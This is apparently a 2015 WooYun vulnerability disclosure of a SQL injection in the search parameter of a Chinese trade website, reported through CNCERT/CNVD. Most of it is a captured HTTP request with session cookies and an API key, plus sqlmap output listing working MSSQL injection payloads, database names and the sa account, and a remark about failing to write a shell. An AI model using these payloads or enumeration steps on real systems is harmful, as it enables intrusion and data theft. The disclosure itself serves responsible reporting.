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缺陷编号：wooyun-2015-0148615

漏洞标题：中国供求网官网SQL注入漏洞

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2015-10-25 21:03

修复时间：2015-12-13 11:10

公开时间：2015-12-13 11:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2015-10-25： 细节已通知厂商并且等待厂商处理中
2015-10-29： 厂商已经确认，细节仅向厂商公开
2015-11-08： 细节向核心白帽子及相关领域专家公开
2015-11-18： 细节向普通白帽子公开
2015-11-28： 细节向实习白帽子公开
2015-12-13： 细节向公众公开

简要描述：

rt

详细说明：

GET /search/searchexpo.shtml?kw=*&page=5 HTTP/1.1
Cookie: ASP.NET_SessionId=ayc1whqzgc3ocx2qwhnzce45; CNZZDATA457984=cnzz_eid%3D687057647-1444433907-http%253A%252F%252F**.**.**.**%252F%26ntime%3D1444433907; Hm_lvt_c0ef241bb5b2517a961373e195e318e3=1444438597,1444438628,1444438640,1444438904; Hm_lpvt_c0ef241bb5b2517a961373e195e318e3=1444438904; HMACCOUNT=7EFD871408E337C1; codesession=Csrrw4k19dM=; api_key=83fc492dee52311ce722e9dad19ff084d435e5279ab8d27dbcc74cc672c3707149bd291768adc85c; m=m
Host: **.**.**.**
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


kw参数存在注入

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://**.**.**.**:80/search/searchexpo.shtml?kw=%' AND 9841=9841 AND '%'='&page=5
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: http://**.**.**.**:80/search/searchexpo.shtml?kw=%' AND 6652=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (6652=6652) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(106)+CHAR(113))) AND '%'='&page=5
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005


available databases [17]:
[*] CunCunLe_Read
[*] dianke
[*] GongQiuForum
[*] gqdata
[*] master
[*] model
[*] msdb
[*] NewGongQiuAccountDB
[*] NewGongQiuWebDB
[*] ReportServer
[*] ReportServerTempDB
[*] ShenNongAccountDB
[*] ShenNongForum
[*] ShenNongWebDB
[*] temp_MS_AgentSigningCertificate_database
[*] tempdb
[*] wjdata
<code><code><code>

</code></code></code>

漏洞证明：

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://**.**.**.**:80/search/searchexpo.shtml?kw=%' AND 9841=9841 AND '%'='&page=5
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: http://**.**.**.**:80/search/searchexpo.shtml?kw=%' AND 6652=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (6652=6652) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(106)+CHAR(113))) AND '%'='&page=5
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
current user:    'gongqiu_b2bdatatest'
current database:    'gqdata'
database management system users privileges:
[*] gongqiu_b2bdatatest
[*] sa (administrator)


虽然是sa，但是却基本没啥权限...无法写shell...

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2015-10-29 11:09

厂商回复：

CNVD确认并复现所述情况，已由CNVD通过网站管理方公开联系渠道向其邮件通报，由其后续提供解决方案。

最新状态：

暂无